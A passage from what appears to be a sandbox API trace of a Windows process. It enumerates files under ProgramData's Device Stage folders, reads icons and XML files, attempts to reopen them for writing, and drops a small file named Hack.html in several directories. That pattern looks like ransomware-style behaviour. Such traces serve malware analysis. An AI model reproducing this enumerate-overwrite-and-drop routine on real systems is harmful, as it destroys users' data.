Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0069.430] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.431] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0069.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.431] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.432] GetFileType (hFile=0x258) returned 0x1 [0069.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.432] GetFileType (hFile=0x258) returned 0x1 [0069.432] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x70c1 [0069.432] ReadFile (in: hFile=0x258, lpBuffer=0x281edd0, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x281edd0*, lpNumberOfBytesRead=0x39ecf0*=0x70c1, lpOverlapped=0x0) returned 1 [0069.514] CloseHandle (hObject=0x258) returned 1 [0069.554] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0069.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.554] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.556] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", lpFilePart=0x0) returned 0x5d [0069.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0069.556] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0069.579] GetFileType (hFile=0x258) returned 0x1 [0069.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0069.579] GetFileType (hFile=0x258) returned 0x1 [0069.579] WriteFile (in: hFile=0x258, lpBuffer=0x2897f78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2897f78*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0069.580] CloseHandle (hObject=0x258) returned 1 [0069.580] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\Hack.html", lpFilePart=0x0) returned 0x36 [0069.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0069.580] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0069.589] GetFileType (hFile=0x258) returned 0x1 [0069.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0069.589] GetFileType (hFile=0x258) returned 0x1 [0069.589] WriteFile (in: hFile=0x258, lpBuffer=0x289a758*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x289a758*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0069.590] CloseHandle (hObject=0x258) returned 1 [0069.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0069.590] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0069.590] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", lpFilePart=0x0) returned 0x2b [0069.590] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a528 [0069.590] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.591] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.591] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.591] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0069.591] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0069.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0069.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0069.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0069.591] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0069.591] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", lpFilePart=0x0) returned 0x2b [0069.591] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a528 [0069.591] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.592] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.592] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0069.592] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0069.592] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0069.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0069.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0069.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0069.592] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0069.592] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpFilePart=0x0) returned 0x52 [0069.592] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0069.611] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.611] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.611] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.611] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0069.612] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0069.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0069.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0069.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0069.613] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0069.613] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpFilePart=0x0) returned 0x52 [0069.613] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0069.614] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.614] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.614] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.614] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.614] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.615] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0069.615] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0069.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0069.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0069.616] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x5c [0069.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.616] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.620] GetFileType (hFile=0x258) returned 0x1 [0069.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.620] GetFileType (hFile=0x258) returned 0x1 [0069.620] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xd0a3 [0069.620] ReadFile (in: hFile=0x258, lpBuffer=0x28a1570, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28a1570*, lpNumberOfBytesRead=0x39ecf0*=0xd0a3, lpOverlapped=0x0) returned 1 [0069.622] CloseHandle (hObject=0x258) returned 1 [0069.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x5c [0069.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x5c [0069.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.672] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.673] GetFileType (hFile=0x258) returned 0x1 [0069.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.673] GetFileType (hFile=0x258) returned 0x1 [0069.673] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x72ee [0069.673] ReadFile (in: hFile=0x258, lpBuffer=0x273f584, nNumberOfBytesToRead=0x72ee, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x273f584*, lpNumberOfBytesRead=0x39ecf0*=0x72ee, lpOverlapped=0x0) returned 1 [0069.693] CloseHandle (hObject=0x258) returned 1 [0069.741] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x5c [0069.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.741] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.743] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x5e [0069.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.743] GetFileType (hFile=0x258) returned 0x1 [0069.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.743] GetFileType (hFile=0x258) returned 0x1 [0069.743] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x14668 [0069.744] ReadFile (in: hFile=0x258, lpBuffer=0x27b7e30, nNumberOfBytesToRead=0x14668, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27b7e30*, lpNumberOfBytesRead=0x39ecf0*=0x14668, lpOverlapped=0x0) returned 1 [0069.751] CloseHandle (hObject=0x258) returned 1 [0069.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x5e [0069.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.864] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.865] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0069.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.866] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.867] GetFileType (hFile=0x258) returned 0x1 [0069.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.867] GetFileType (hFile=0x258) returned 0x1 [0069.867] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x536 [0069.867] ReadFile (in: hFile=0x258, lpBuffer=0x2857300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2857300*, lpNumberOfBytesRead=0x39ecf0*=0x536, lpOverlapped=0x0) returned 1 [0069.869] CloseHandle (hObject=0x258) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0069.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.921] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x5f [0069.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.923] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.923] GetFileType (hFile=0x258) returned 0x1 [0069.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.924] GetFileType (hFile=0x258) returned 0x1 [0069.924] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xcaa9 [0069.924] ReadFile (in: hFile=0x258, lpBuffer=0x28a7304, nNumberOfBytesToRead=0xcaa9, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28a7304*, lpNumberOfBytesRead=0x39ecf0*=0xcaa9, lpOverlapped=0x0) returned 1 [0069.943] CloseHandle (hObject=0x258) returned 1 [0069.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x5f [0069.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device 